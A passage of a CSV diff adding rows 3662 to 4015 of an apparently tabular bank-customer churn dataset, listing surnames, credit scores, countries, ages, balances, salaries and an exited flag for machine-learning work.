+3662,15748639,Hayslett,497,Germany,Male,35,7,110053.62,2,1,1,92887.06,0 +3663,15628123,Robinson,632,France,Female,28,5,118890.81,1,0,1,145157.97,0 +3664,15602731,Wong,724,France,Male,31,5,0,1,1,0,134889.95,1 +3665,15794137,Nevzorova,751,Germany,Female,37,0,151218.98,1,1,1,109309.29,0 +3666,15748696,Page,733,France,Male,42,9,150507.21,1,0,1,169964.12,0 +3667,15725068,Quinn,701,Spain,Female,21,9,0,2,1,1,26327.42,0 +3668,15807340,O'Donnell,525,Germany,Male,33,4,131023.76,2,0,0,55072.93,0 +3669,15586133,Pisano,666,Germany,Female,44,2,122314.5,1,0,0,68574.88,1 +3670,15576185,Sinclair,653,France,Male,29,2,0,2,1,1,41671.81,0 +3671,15660809,Loving,850,France,Male,28,4,0,2,1,1,12409.01,0 +3672,15616666,Artemova,646,Germany,Female,52,6,111739.4,2,0,1,68367.18,0 +3673,15706904,Robertson,750,France,Male,43,6,113882.31,1,1,1,74564.41,0 +3674,15606915,Genovese,764,France,Male,24,7,98148.61,1,1,0,26843.76,0 +3675,15749693,Ugonnatubelum,658,France,Female,32,9,0,2,1,0,156774.75,0 +3676,15791743,Corbett,727,France,Male,32,1,59271.82,1,1,1,46019.43,0 +3677,15796480,Reilly,687,France,Female,31,2,0,2,0,1,145411.39,0 +3678,15790442,Wright,631,Spain,Male,33,2,0,2,1,1,158268.84,0 +3679,15609458,Vincent,797,France,Male,30,10,69413.44,1,1,1,74637.57,0 +3680,15593897,Carr,650,Spain,Male,25,7,160599.06,2,1,1,28391.52,0 +3681,15604576,Eiland,850,Spain,Male,22,3,0,1,1,1,144385.54,0 +3682,15666270,Omeokachie,676,France,Female,40,2,147803.48,1,1,0,95181.06,1 +3683,15572626,Mackenzie,620,Spain,Male,44,8,0,2,1,1,15627.51,0 +3684,15727197,Pinto,576,France,Female,52,9,170228.59,2,0,0,148477.57,1 +3685,15714006,Gardener,482,France,Female,35,2,133111.73,1,0,1,79957.95,0 +3686,15642137,Fang,695,Spain,Female,39,5,0,2,0,0,102763.69,0 +3687,15665327,Cattaneo,706,France,Male,18,2,176139.5,2,1,0,129654.22,0 +3688,15626806,Labrador,668,France,Female,32,2,0,2,1,1,40652.33,0 +3689,15662578,Dettmann,679,Germany,Male,35,1,110245.13,1,1,1,178291.09,0 +3690,15790829,Gibson,703,France,Female,45,5,0,2,1,0,131906.44,0 +3691,15654959,Hope,670,Spain,Male,67,6,158719.57,1,1,1,118607.4,0 +3692,15760244,Ives,590,France,Female,76,5,160979.68,1,0,1,13848.58,0 +3693,15715394,Greece,613,Spain,Male,35,4,123557.65,2,0,1,170903.4,0 +3694,15722246,Omeokachie,742,France,Female,60,4,0,1,1,1,13161.66,1 +3695,15609704,Mao,608,France,Female,33,4,0,1,1,0,79304.38,1 +3696,15757628,Savage,571,France,Male,40,10,112896.86,1,1,1,121402.53,0 +3697,15633586,Brierly,595,France,Female,39,7,120962.13,1,0,0,23305.01,0 +3698,15565796,Docherty,745,Germany,Male,48,10,96048.55,1,1,0,74510.65,0 +3699,15717935,McDonald,589,France,Female,21,3,0,2,0,1,55601.44,0 +3700,15577700,Rapuokwu,749,France,Male,37,10,185063.7,2,1,1,134526.87,0 +3701,15747345,Bergamaschi,678,France,Female,22,6,118064.93,2,1,1,195424.01,0 +3702,15678317,Manfrin,603,France,Male,46,2,0,2,1,1,59563.49,0 +3703,15698335,Bergamaschi,504,France,Female,73,8,0,1,1,1,34595.58,0 +3704,15768451,MacDonald,739,Germany,Male,40,5,149131.03,3,1,1,60036.99,1 +3705,15753213,Lees,604,France,Female,34,7,0,2,1,0,193021.49,0 +3706,15769645,Senior,612,France,Female,35,3,0,1,1,1,48108.72,0 +3707,15657565,Nwokezuike,629,Spain,Female,44,6,125512.98,2,0,0,79082.76,0 +3708,15620323,Ekwueme,652,Spain,Female,42,3,83492.07,2,1,0,37914.12,0 +3709,15679983,Garmon,565,France,Male,34,7,0,1,0,0,74593.84,0 +3710,15812616,Enyinnaya,707,France,Female,49,10,0,1,1,0,82967.97,1 +3711,15601796,Chizuoke,645,France,Male,30,1,125739.26,1,1,1,193441.23,0 +3712,15729489,Hyde,762,Germany,Female,34,8,98592.88,1,0,1,191790.29,1 +3713,15613216,Cameron,639,Spain,Female,39,1,141789.15,1,1,0,92455.96,0 +3714,15657937,Lord,709,Germany,Male,22,0,112949.71,1,0,0,155231.55,0 +3715,15815428,Biryukova,823,France,Male,34,3,105057.33,1,1,0,9217.92,0 +3716,15640409,Carpenter,817,Germany,Female,46,0,89087.89,1,0,1,87941.85,1 +3717,15699492,Lorenzo,665,Germany,Female,27,2,147435.96,1,0,0,187508.06,0 +3718,15623536,Madukwe,646,Germany,Male,39,0,154439.86,1,1,0,171519.06,0 +3719,15707551,Hutcheon,568,France,Male,30,8,73054.37,2,1,1,27012,0 +3720,15577999,Sleeman,850,France,Female,62,1,124678.35,1,1,0,70916,1 +3721,15788775,Milne,473,Germany,Male,40,8,152576.25,2,1,0,73073.68,0 +3722,15758362,Williamson,731,France,Female,41,9,152243.57,1,1,1,88783.59,0 +3723,15807961,Bruno,619,France,Male,25,4,0,1,1,0,145524.36,0 +3724,15710978,Palerma,715,Germany,Male,42,2,88120.97,2,1,1,21333.22,0 +3725,15703541,Wang,772,Germany,Female,51,9,143930.92,1,0,1,46675.51,1 +3726,15626474,Onyemere,686,France,Female,31,1,0,2,1,0,4802.25,0 +3727,15608344,Dawson,749,Germany,Female,29,7,137059.05,3,1,0,102975.72,1 +3728,15768367,Nebechukwu,781,France,Female,27,7,186558.55,1,1,1,175071.29,1 +3729,15806210,Bateman,675,Spain,Male,66,5,115654.47,2,1,1,131970.86,0 +3730,15697702,Lord,730,Spain,Male,29,2,0,2,1,0,14174.09,0 +3731,15689152,Loggia,683,Spain,Male,38,3,126152.84,1,0,0,15378.75,0 +3732,15568573,Graham,554,Germany,Female,51,7,105701.91,1,0,1,179797.79,1 +3733,15689598,Dean,722,France,Male,46,6,0,1,1,1,93917.68,1 +3734,15713374,Jarvis,689,Germany,Male,67,9,157094.78,1,1,1,99490.01,0 +3735,15679733,Haugh,796,Germany,Male,40,2,113228.38,2,1,1,46415.09,0 +3736,15759274,Micklem,447,France,Female,32,10,0,1,1,1,151815.76,0 +3737,15607748,Bennett,498,Germany,Male,37,8,108432.88,2,1,1,14865.05,0 +3738,15607577,Roberts,663,Spain,Male,27,8,0,1,1,1,188007.99,0 +3739,15813697,Onyekaozulu,498,Germany,Female,44,2,120702.67,2,1,1,98175.74,0 +3740,15801125,Kegley,627,France,Female,32,1,0,1,1,0,106851.7,0 +3741,15777855,Manna,649,France,Male,45,7,0,2,0,1,75204.21,0 +3742,15635396,Thompson,738,Germany,Female,29,9,139106.19,1,1,0,141872.05,1 +3743,15698031,Romano,587,Germany,Female,39,6,101851.8,2,1,0,7103.71,0 +3744,15678944,Brown,655,Germany,Female,32,6,130935.56,1,1,0,9241.83,1 +3745,15718507,Su,647,Germany,Male,37,3,116509.99,1,1,1,149517.71,1 +3746,15808334,Mackay,776,Germany,Female,37,1,93124.04,2,1,1,196079.32,0 +3747,15804709,Watt,688,Germany,Male,35,5,111578.18,1,0,0,166165.93,1 +3748,15645835,Milani,605,France,Male,32,9,0,2,1,1,55724.24,0 +3749,15738166,Hsu,596,France,Female,39,10,86546.29,1,0,1,131768.98,0 +3750,15675360,Valenzuela,427,France,Male,33,8,0,1,1,1,13858.95,0 +3751,15793042,Sung,629,France,Male,39,2,129669.32,2,1,0,82774.07,0 +3752,15630106,Lo,496,Spain,Male,29,2,0,2,1,0,55389.59,0 +3753,15810385,Giordano,717,Spain,Female,36,2,164557.95,1,0,1,82336.73,0 +3754,15578211,Connolly,777,France,Male,23,6,0,2,1,1,163225.48,0 +3755,15572792,Bellucci,535,Spain,Male,35,8,118989.92,1,1,1,135536.72,0 +3756,15620030,Jamieson,744,France,Male,29,1,0,1,0,0,82422.97,0 +3757,15783541,Fomina,755,France,Male,31,5,0,2,0,1,194660.78,0 +3758,15679284,Aksenov,593,Spain,Female,45,6,79259.75,1,1,0,55347.28,0 +3759,15582910,Turnbull,514,France,Male,38,4,112230.38,1,1,0,16717.11,1 +3760,15688337,Dixon,721,France,Male,40,9,118129.87,1,1,1,160277.65,0 +3761,15734970,White,835,Spain,Male,38,7,86824.09,1,0,0,175905.97,0 +3762,15759140,Long,682,France,Female,64,10,128306.7,1,0,1,66040.83,0 +3763,15643042,Han,590,Germany,Female,40,2,117641.43,2,0,0,92198.05,0 +3764,15773868,Belov,653,Germany,Female,37,3,125734.2,2,1,0,134625.09,1 +3765,15615820,MacDonald,837,France,Male,49,8,103302.37,1,1,1,50974.57,0 +3766,15730273,Parsons,841,France,Male,27,8,0,1,1,0,171922.72,0 +3767,15724890,Cross,584,Spain,Male,36,4,82696.09,2,0,0,83058.14,0 +3768,15765952,Milanesi,769,France,Male,29,4,145471.37,1,1,0,188382.77,0 +3769,15685920,Lombardo,599,Spain,Male,34,2,101506.66,1,0,0,198030.24,0 +3770,15663263,Collins,698,France,Male,47,5,156265.31,2,0,0,1055.66,0 +3771,15568953,Alexeieva,477,France,Male,27,1,128554.98,1,1,1,133173.19,0 +3772,15643361,Cullen,477,Germany,Male,34,8,139959.55,2,1,1,189875.83,0 +3773,15699486,Johnson,745,Spain,Male,34,7,132944.53,1,1,1,31802.92,0 +3774,15747854,Rudd,749,France,Female,35,3,0,3,1,1,132649.85,0 +3775,15691785,Findlay,850,France,Male,61,1,0,1,1,0,53067.83,1 +3776,15709004,Mai,528,Germany,Male,22,5,93547.23,2,0,1,961.57,0 +3777,15652218,Morrison,750,France,Male,33,2,152302.72,1,1,0,71333.44,0 +3778,15697127,Monaldo,543,France,Female,31,2,147674.26,1,1,1,16658.76,0 +3779,15658486,Gidney,579,Spain,Female,59,3,148021.12,1,1,1,74878.22,0 +3780,15694160,Sagese,624,France,Male,37,0,0,2,0,0,112104.55,0 +3781,15685290,Wall,595,Germany,Male,46,5,142360.62,2,1,0,48421.4,1 +3782,15701042,Dalton,596,Germany,Female,27,2,151027.56,1,1,0,170320.58,0 +3783,15680449,Hsing,431,Germany,Female,44,2,138843.7,1,1,0,37688.31,1 +3784,15599860,Warner,647,Spain,Female,26,8,109958.15,1,1,1,136592.24,1 +3785,15723169,Williams,640,France,Female,31,9,138857.59,1,1,0,48640.77,0 +3786,15803842,Dunn,752,Germany,Female,45,3,105426.5,2,0,1,89773.45,0 +3787,15728224,Kerr,710,Germany,Female,41,9,149155.53,2,1,0,42131.26,1 +3788,15644174,Marchesi,638,Germany,Male,27,4,135096.05,1,1,1,186523.72,1 +3789,15707110,Endrizzi,660,Germany,Male,28,2,170890.05,2,1,0,41758.9,0 +3790,15765415,King,609,Spain,Female,45,4,89122.3,1,1,1,199256.98,0 +3791,15756751,Griffiths,596,Spain,Female,54,0,78126.28,1,1,1,153482.91,1 +3792,15795151,Hartzler,705,France,Female,38,3,123894.43,1,1,0,21177.1,0 +3793,15632859,Chukwudi,444,France,Male,36,7,0,2,0,1,138743.86,0 +3794,15584037,Denisov,727,Germany,Male,58,5,106913.43,1,1,0,25881,1 +3795,15621409,Endrizzi,496,France,Male,32,4,127845.83,1,1,0,66469.2,0 +3796,15581102,Baresi,554,France,Female,22,8,0,2,0,1,142670.61,0 +3797,15578096,Nnachetam,537,France,Male,26,7,106397.75,1,0,0,103563.23,0 +3798,15669887,Lambert,839,France,Female,51,3,0,1,1,1,69101.23,1 +3799,15621834,Game,700,Spain,Female,43,0,0,2,1,0,59475.35,0 +3800,15655341,Chinagorom,458,Spain,Female,35,5,166492.48,1,1,0,135287.74,0 +3801,15685314,Noble,850,France,Female,28,2,0,2,1,1,38773.74,0 +3802,15653997,Haynes,699,Spain,Male,31,6,114493.68,1,0,0,138396.32,0 +3803,15629551,Cattaneo,615,Germany,Female,44,9,126104.98,2,0,1,110718.02,0 +3804,15651264,Yobanna,850,Germany,Male,51,4,124425.99,1,0,0,118545.49,1 +3805,15760825,Fraser,604,France,Female,40,1,0,2,1,0,123207.17,0 +3806,15597394,Rhodes,668,Spain,Male,34,0,0,1,0,0,99984.86,0 +3807,15740383,Jimenez,594,Spain,Female,38,10,0,2,1,0,58332.91,0 +3808,15670562,Pharr,470,France,Male,30,3,101140.76,1,1,1,50906.65,0 +3809,15698117,Jerger,701,Germany,Male,41,0,150844.94,1,0,1,127623.36,0 +3810,15694805,McIntyre,664,Spain,Male,35,1,115024.5,1,0,1,169665.79,0 +3811,15746802,Onio,477,France,Female,30,6,131286.46,1,1,0,194144.45,0 +3812,15589428,Tomlinson,756,France,Female,42,9,0,2,1,0,35673.42,0 +3813,15790267,Onuoha,625,France,Female,40,7,141267.67,1,0,1,177397.49,0 +3814,15665402,Panicucci,703,Spain,Male,73,5,137761.55,1,1,1,159677.46,0 +3815,15642093,Piccio,646,France,Male,30,7,0,2,1,0,153566.97,0 +3816,15666181,Ramsden,650,France,Male,33,0,98064.97,1,1,0,52411.99,0 +3817,15602554,Vorobyova,664,France,Female,31,9,114519.57,2,0,1,79222.02,0 +3818,15724251,Todd,682,Germany,Female,29,6,101012.77,1,0,0,32589.89,1 +3819,15740147,Cremonesi,725,France,Female,44,10,0,1,0,1,93777.61,0 +3820,15718289,Bradley,553,Germany,Male,46,3,82291.1,1,1,0,112549.99,1 +3821,15763148,Stanley,576,France,Male,39,9,84719.98,1,0,0,191063.36,0 +3822,15685245,Jowett,608,Spain,Female,56,5,0,2,0,1,153810.41,0 +3823,15626985,Yefremova,850,France,Female,39,0,104386.53,1,1,0,105886.77,0 +3824,15585823,Wilson,627,France,Male,31,8,128131.73,1,1,0,96131.47,0 +3825,15728167,Abramovich,667,France,Male,44,2,122806.95,1,0,0,15120.86,0 +3826,15762928,Venables,548,Spain,Male,44,8,0,1,1,0,16989.77,0 +3827,15751774,Monnier,774,France,Male,76,4,112510.89,1,1,1,143133.18,0 +3828,15654733,Hsieh,794,Germany,Male,57,3,117056.46,1,1,0,93336.93,1 +3829,15809777,Gadsden,497,Germany,Female,55,7,131778.66,1,1,1,9972.64,0 +3830,15744200,Ni,587,France,Female,36,1,70784.27,1,1,0,30579.82,0 +3831,15720713,Chibueze,850,France,Female,29,10,0,2,1,1,199775.67,0 +3832,15695356,Chinwemma,722,France,Male,46,5,0,2,1,0,179908.71,0 +3833,15653315,Kang,555,Spain,Female,35,1,0,2,1,0,101667,0 +3834,15604792,Kuo,609,Germany,Male,38,6,140752.06,2,0,1,171430.16,0 +3835,15704819,Ositadimma,734,Spain,Female,39,6,92126.26,2,0,0,112973.34,0 +3836,15670859,Smith,718,Germany,Female,39,7,93148.74,2,1,1,190746.38,0 +3837,15602797,Okwudilichukwu,645,Spain,Female,49,5,110132.55,3,0,1,187689.91,1 +3838,15662533,Porter,598,Spain,Female,23,6,0,2,1,0,153229.19,0 +3839,15778154,Kung,628,Germany,Male,50,4,122227.71,1,0,1,14217.77,1 +3840,15806230,Trevisano,629,Germany,Male,40,2,121647.54,2,1,1,64849.74,1 +3841,15662884,Naylor,739,Germany,Male,58,1,110597.76,1,0,1,160122.66,1 +3842,15750778,Ponomarev,653,France,Female,60,2,120731.39,4,1,1,138160.11,1 +3843,15717185,Udinese,711,France,Male,28,8,0,2,1,1,64286.39,0 +3844,15677804,Aliyeva,783,Spain,Male,38,1,0,3,1,1,80178.54,1 +3845,15568915,Bailey,681,France,Male,38,6,153722.47,1,1,0,101319.76,0 +3846,15736495,Jackson,712,France,Male,34,8,114088.32,1,1,0,92794.61,0 +3847,15737354,Yin,554,France,Female,48,7,0,2,1,1,63708.07,0 +3848,15667889,Akobundu,611,France,Female,37,6,0,2,1,0,110782.88,0 +3849,15577831,Byrne,560,Germany,Male,41,4,152532.3,1,0,0,10779.69,0 +3850,15729836,Robinson,646,Spain,Male,32,1,0,2,1,0,183289.22,0 +3851,15775293,Stephenson,680,France,Male,34,3,143292.95,1,1,0,66526.01,0 +3852,15697597,Chiemenam,631,France,Male,26,1,149144.61,1,0,1,123697.95,0 +3853,15639669,Forbes,746,France,Male,36,9,127157.04,1,1,1,155700.15,0 +3854,15631392,Douglas,654,Germany,Male,43,9,84673.17,2,0,1,82081.35,0 +3855,15580935,Okechukwu,687,Germany,Male,33,9,135962.4,2,1,0,121747.96,0 +3856,15590344,Russell,708,Germany,Male,32,3,151691.44,2,1,1,172810.51,0 +3857,15653306,Ermakova,679,Germany,Female,32,0,88335.05,1,0,0,159584.81,0 +3858,15805025,Oster,636,France,Female,45,7,139859.23,1,1,1,108402.54,0 +3859,15658449,Chizoba,695,France,Male,45,9,43134.65,1,0,1,77330.35,0 +3860,15694450,Bianchi,677,France,Male,42,5,99580.13,1,1,0,21007.96,0 +3861,15605666,Peyser,720,France,Female,34,6,110717.38,1,1,1,9398.45,0 +3862,15615126,Cocci,780,France,Female,37,3,0,2,0,0,182156.81,1 +3863,15726588,Seleznev,653,Spain,Female,36,3,0,2,0,0,110525.6,0 +3864,15645095,Huang,674,France,Female,28,3,0,1,1,0,51536.99,0 +3865,15808960,Alleyne,620,Germany,Male,40,5,108197.11,2,1,0,49722.34,0 +3866,15729435,McKenzie,623,France,Male,40,6,0,2,1,1,66119.07,0 +3867,15656840,Zikoranachukwudimma,547,France,Female,29,6,104450.86,1,1,1,37160.28,0 +3868,15659149,King,530,France,Male,39,2,0,2,1,0,197923.05,0 +3869,15585490,Nkemdilim,746,France,Female,34,4,0,1,0,1,65166.6,0 +3870,15674929,Anderson,512,France,Female,31,7,0,2,0,0,49326.07,0 +3871,15746341,Ejikemeifeuwa,630,France,Male,40,8,0,2,1,1,42495.81,0 +3872,15662091,Adams,570,Spain,Male,21,7,116099.82,1,1,1,148087.62,0 +3873,15620123,Christie,605,France,Male,39,6,111169.91,1,0,0,9641.4,0 +3874,15616240,Yeh,530,Spain,Male,37,4,0,2,1,1,164844.37,0 +3875,15624186,McGregor,813,Germany,Female,25,5,123616.43,1,0,1,132959.33,0 +3876,15605036,Pisano,704,Spain,Female,37,9,155619.58,1,1,1,135088.58,0 +3877,15805151,Ginikanwa,565,Germany,Male,31,2,89558.39,2,1,1,4441.54,0 +3878,15753847,Hawkins,645,Spain,Male,45,4,0,1,0,1,174916.85,1 +3879,15653222,Otutodilichukwu,526,Germany,Female,32,6,131938.92,2,1,1,1795.93,0 +3880,15757541,Rickard,778,France,Female,33,9,151772.63,2,0,0,180249.94,1 +3881,15726945,Andreev,677,France,Female,72,8,0,2,1,1,153604.44,0 +3882,15794276,Steele,588,France,Female,64,3,0,1,1,1,189703.65,0 +3883,15568328,Black,488,France,Female,22,6,0,2,1,1,66393.89,0 +3884,15604355,Shand,519,France,Male,39,1,97700.02,1,1,1,30709.03,0 +3885,15735788,Chiagoziem,709,France,Male,31,6,0,2,1,1,71009.84,0 +3886,15618255,Fedorov,642,Germany,Female,56,6,103244.86,2,1,0,143049.72,1 +3887,15720941,Tien,710,Germany,Male,34,8,147833.3,2,0,1,1561.58,0 +3888,15769110,Stehle,653,France,Female,46,5,0,2,1,0,49707.85,0 +3889,15576094,Sung,743,France,Male,71,0,0,2,0,1,29837.65,0 +3890,15756150,Alexander,418,France,Female,39,2,0,2,0,0,9041.71,0 +3891,15719579,McIntosh,670,Germany,Female,33,9,84521.48,2,0,1,198017.05,0 +3892,15748854,Sung,723,Germany,Female,28,5,91938.31,1,1,0,143481.85,0 +3893,15612455,Yao,549,Germany,Male,45,6,124240.93,1,1,1,146372.51,0 +3894,15664802,Chinweuba,543,France,Female,42,5,0,2,0,0,101905.34,0 +3895,15735687,Chinweuba,595,Spain,Male,37,2,157084.99,1,1,0,134767.13,0 +3896,15664734,T'ao,673,Germany,Female,25,3,108244.82,2,1,1,103573.96,0 +3897,15767894,Ch'ien,741,France,Female,21,9,0,2,0,1,139259.54,0 +3898,15666884,Su,508,Germany,Female,41,5,82161.7,2,1,0,187776.49,0 +3899,15750156,Yu,662,Germany,Male,59,2,104568.41,1,1,0,8059.44,1 +3900,15751120,Loyau,752,France,Female,36,2,119912.46,1,1,0,124354.92,0 +3901,15575748,Conti,809,France,Male,36,9,68881.59,2,0,1,109135.11,0 +3902,15714610,Alexeeva,575,Spain,Male,30,2,0,2,1,1,82222.86,0 +3903,15720305,Power,591,Spain,Female,40,1,86376.29,1,0,1,136767.16,1 +3904,15678129,Hill,643,Spain,Female,45,9,150840.03,2,1,0,155516.35,0 +3905,15566633,Freeman,698,Germany,Male,55,8,155059.1,2,1,1,144584.29,0 +3906,15680436,Hsing,496,France,Female,29,4,0,2,1,0,164806.89,0 +3907,15674343,Esposito,597,France,Male,44,8,78128.13,2,0,1,109153.04,0 +3908,15658890,Belonwu,603,Germany,Male,46,4,98899.76,2,1,1,86190.34,0 +3909,15599004,Tsao,655,Spain,Male,37,1,0,1,1,1,106040.97,0 +3910,15726487,P'eng,431,France,Male,63,6,160982.89,1,1,1,168008.17,0 +3911,15698716,Baker,620,France,Female,70,3,87926.24,2,1,0,33350.26,1 +3912,15710527,Matthews,782,France,Female,35,4,0,1,1,1,119565.34,0 +3913,15655590,Garcia,581,Spain,Male,46,2,79385.21,2,0,0,188492.82,0 +3914,15732266,Field,553,Germany,Male,53,5,127997.83,1,1,0,165378.66,1 +3915,15669326,Gordon,658,France,Male,44,2,168396.34,1,1,1,14178.73,0 +3916,15672246,Jefferies,686,Germany,Male,43,2,134896.03,1,1,1,97847.05,0 +3917,15620276,Palermo,539,Spain,Male,36,6,0,3,1,1,118959.64,0 +3918,15640258,Chou,685,France,Female,50,6,94238.75,2,1,1,50664.07,1 +3919,15740283,Ewing,850,France,Male,29,1,0,2,0,0,152996.89,0 +3920,15759717,Mazzi,763,Spain,Female,39,7,0,2,1,0,19458.75,0 +3921,15620268,Thomson,634,Germany,Male,43,3,212696.32,1,1,0,115268.86,0 +3922,15743871,Nkemdirim,567,France,Male,59,3,0,2,1,0,25843.7,1 +3923,15614491,Lockyer,539,France,Male,39,3,139153.68,2,1,0,147662.33,0 +3924,15595047,Murray,764,France,Male,41,7,0,2,0,0,134878.34,0 +3925,15732334,Black,653,France,Female,40,0,0,2,1,0,35795.85,0 +3926,15701206,Torreggiani,566,Spain,Male,44,5,0,2,1,0,66462.79,0 +3927,15581280,Atkinson,714,Germany,Male,29,6,92887.13,1,1,1,69578.49,0 +3928,15651943,Richards,580,Spain,Female,65,1,0,2,0,1,103182.46,0 +3929,15609545,Azubuike,548,France,Male,29,5,83442.98,1,0,1,177017.39,0 +3930,15658548,Ignatiev,646,Germany,Female,36,6,144773.29,2,1,0,53217.3,0 +3931,15626008,Miller,622,Germany,Female,52,9,111973.97,1,1,1,162756.29,1 +3932,15774133,Cox,706,France,Female,35,8,178032.53,1,0,1,42181.68,0 +3933,15763798,McMillan,680,France,Male,23,5,140007.19,1,0,1,31714.08,0 +3934,15758013,Napolitano,698,France,Male,37,5,98400.61,2,0,0,25017.28,0 +3935,15705765,Lane,581,Spain,Female,46,1,0,2,1,0,104272.04,0 +3936,15648362,Kennedy,728,Germany,Male,45,3,108924.33,2,1,0,84300.4,1 +3937,15761102,T'ao,707,Spain,Female,32,4,132835.56,1,0,0,136877.24,0 +3938,15610165,Hsiung,761,France,Female,26,1,0,2,1,1,199409.19,0 +3939,15723717,Heath,483,Germany,Male,41,1,118334.44,1,0,0,163147.99,1 +3940,15654611,Parry,736,Germany,Female,25,9,81732.88,2,1,0,136497.28,0 +3941,15659736,Herbert,716,Germany,Male,66,5,121411.9,1,0,0,10070.4,1 +3942,15603170,Kang,654,France,Male,32,9,121455.65,1,1,0,190068.53,1 +3943,15786167,Andreyeva,649,Spain,Male,20,5,0,2,1,1,58309.54,0 +3944,15671915,Bowen,649,France,Male,46,5,0,2,1,1,76946.6,0 +3945,15794792,Golubev,612,France,Female,31,8,117989.76,1,1,1,54129.86,0 +3946,15652789,Hancock,657,Spain,Male,40,10,0,2,1,1,52990.7,0 +3947,15739168,Fowler,511,France,Female,31,5,137411.29,1,0,1,161854.98,0 +3948,15719950,Sutherland,682,France,Male,61,10,73688.2,1,1,1,172141.33,0 +3949,15743818,Rowley,748,Spain,Male,58,9,122330.7,2,0,1,124429.19,0 +3950,15717937,Gibbons,554,Germany,Male,43,5,99906.89,1,0,0,24983.39,0 +3951,15602841,Lockett,794,Spain,Female,28,5,0,2,0,1,86699.98,0 +3952,15619972,Akabueze,807,France,Female,47,9,167664.83,1,0,0,125440.11,1 +3953,15796114,Phelps,594,France,Female,34,7,141525.55,1,0,0,9443.15,0 +3954,15633546,Frederick,652,Spain,Female,33,3,124832.51,1,1,0,195877.06,0 +3955,15758755,Beneventi,729,France,Female,34,9,132121.71,1,0,1,105409.31,0 +3956,15695168,Bruce,625,France,Male,39,2,0,2,1,0,100403.05,0 +3957,15754342,Green,597,Germany,Female,60,0,78539.84,1,0,1,48502.88,0 +3958,15756610,Carlson,657,Germany,Female,38,5,123770.46,1,0,0,47019.66,1 +3959,15640917,Tang,633,France,Male,43,5,0,2,1,1,48249.88,0 +3960,15663164,Yudin,663,Germany,Male,49,7,116150.65,3,1,1,84358.71,1 +3961,15616811,MacDonald,535,France,Male,47,0,160729.1,1,0,1,145986.35,0 +3962,15610781,Watt,702,France,Female,29,10,88378.6,1,1,0,88550.28,0 +3963,15600911,Mbadiwe,712,France,Male,33,2,182888.08,1,1,0,3061,0 +3964,15629603,Chuang,607,France,Male,31,8,0,2,1,1,43196.5,0 +3965,15714981,Sabbatini,476,France,Male,37,4,0,1,1,1,55775.84,1 +3966,15775892,Caldwell,748,Spain,Female,23,8,85600.08,1,0,0,134077.71,0 +3967,15782778,Ewers,815,France,Male,35,4,0,2,0,1,198490.33,0 +3968,15786643,Tsao,602,France,Male,32,10,0,2,1,1,116052.92,0 +3969,15595657,Hannam,649,Germany,Male,40,4,95001.33,1,0,1,123202.99,0 +3970,15743673,Wood,551,Spain,Male,27,2,113873.22,1,1,1,85129.77,1 +3971,15634310,Ko,509,France,Male,30,6,0,2,1,0,180598.86,0 +3972,15790809,Lo Duca,685,Spain,Male,40,7,74896.92,1,1,0,198694.2,0 +3973,15668695,Endrizzi,536,France,Female,22,5,89492.62,1,0,0,42934.43,0 +3974,15669281,Ch'iu,711,Spain,Male,38,3,128718.78,1,0,0,114793.45,0 +3975,15621031,Mofflin,761,Spain,Male,27,8,0,2,1,0,63297.7,0 +3976,15720071,Fiorentini,535,France,Female,49,3,0,1,0,0,61820.41,1 +3977,15792180,Chiekwugo,566,Germany,Male,22,7,144954.75,2,1,0,102246,0 +3978,15813894,Bogle,620,Spain,Male,21,9,0,2,0,0,154882.79,0 +3979,15669490,Ifeanacho,837,Germany,Male,37,6,94001.61,2,1,0,140723.05,0 +3980,15783030,Owens,685,France,Female,40,7,0,1,1,0,72852.74,1 +3981,15695792,Ch'ien,673,France,Male,65,0,0,1,1,1,85733.33,0 +3982,15575676,Chung,638,France,Male,24,1,0,2,0,1,162597.15,0 +3983,15627665,Sung,614,France,Male,46,4,0,1,1,0,74379.57,1 +3984,15814092,Wang,626,France,Female,44,2,0,1,0,1,173117.22,1 +3985,15695225,Sun,834,Spain,Male,38,8,0,2,1,1,66485.26,0 +3986,15615091,Maitland,691,France,Male,24,6,0,2,1,1,92811.2,0 +3987,15794345,Ma,706,Spain,Male,38,8,0,2,0,1,46635.11,0 +3988,15726484,Pollard,633,France,Male,37,7,141546.35,1,1,1,124830.11,0 +3989,15650442,Hsieh,644,Germany,Female,32,8,141528.88,1,1,1,167087.34,1 +3990,15714256,Gerasimov,666,France,Male,30,7,109805.3,1,0,1,163625.56,0 +3991,15778752,Johnson,708,France,Male,32,10,86614.06,2,1,1,172129.26,0 +3992,15601659,Fiorentino,496,Germany,Female,59,7,91680.1,2,1,0,163141.18,1 +3993,15602811,Chioke,730,Germany,Male,38,0,38848.19,2,0,0,94003.11,0 +3994,15779414,Rossi,696,Spain,Male,40,3,153639.11,1,1,1,138351.68,0 +3995,15763097,Siciliano,809,Spain,Male,80,8,0,2,0,1,34164.05,0 +3996,15633666,Efremov,701,Spain,Female,33,7,123870.07,1,1,0,97794.71,0 +3997,15718789,Brigstocke,604,France,Male,30,5,0,2,1,0,75786.55,0 +3998,15690620,Olisaemeka,665,France,Male,39,10,46323.57,1,1,0,136812.02,0 +3999,15737071,Tang,639,France,Female,60,5,162039.78,1,1,1,84361.72,1 +4000,15665062,Lucchese,696,France,Male,19,1,110928.51,1,1,1,2766.63,0 +4001,15600692,West,520,France,Male,38,5,0,2,1,0,163185.76,0 +4002,15792064,Pai,545,Germany,Male,53,5,114421.55,1,1,0,180598.28,1 +4003,15811486,Tang,634,Germany,Female,29,8,130036.21,2,0,1,69849.55,0 +4004,15626141,Fedorov,750,France,Female,26,1,151510.17,2,1,1,19921.72,0 +4005,15738546,Gboliwe,530,Spain,Female,41,4,0,2,0,1,147606.71,0 +4006,15677052,Ko,589,France,Female,59,2,0,2,1,1,126160.24,1 +4007,15656454,Le Gallienne,654,France,Male,37,6,83568.55,1,1,0,47046.72,0 +4008,15645496,Seleznyova,648,France,Female,43,7,139972.18,1,1,0,143668.58,0 +4009,15612505,Joseph,835,Spain,Male,45,3,100212.13,1,1,0,152577.62,0 +4010,15708513,Bevan,446,France,Female,39,1,90217.07,1,1,0,191350.48,0 +4011,15685654,Allan,514,Spain,Male,66,9,0,2,1,1,14234.31,0 +4012,15732307,Lavrentiev,694,Germany,Male,33,4,124067.32,1,1,1,77906.87,0 +4013,15726814,Walton,554,Spain,Male,46,4,0,2,0,1,57320.92,0 +4014,15653776,Salier,720,Germany,Female,57,1,162082.31,4,0,0,27145.73,1 +4015,15597914,Evdokimov,641,Germany,Female,51,2,117306.69,4,1,1,26912.72,1 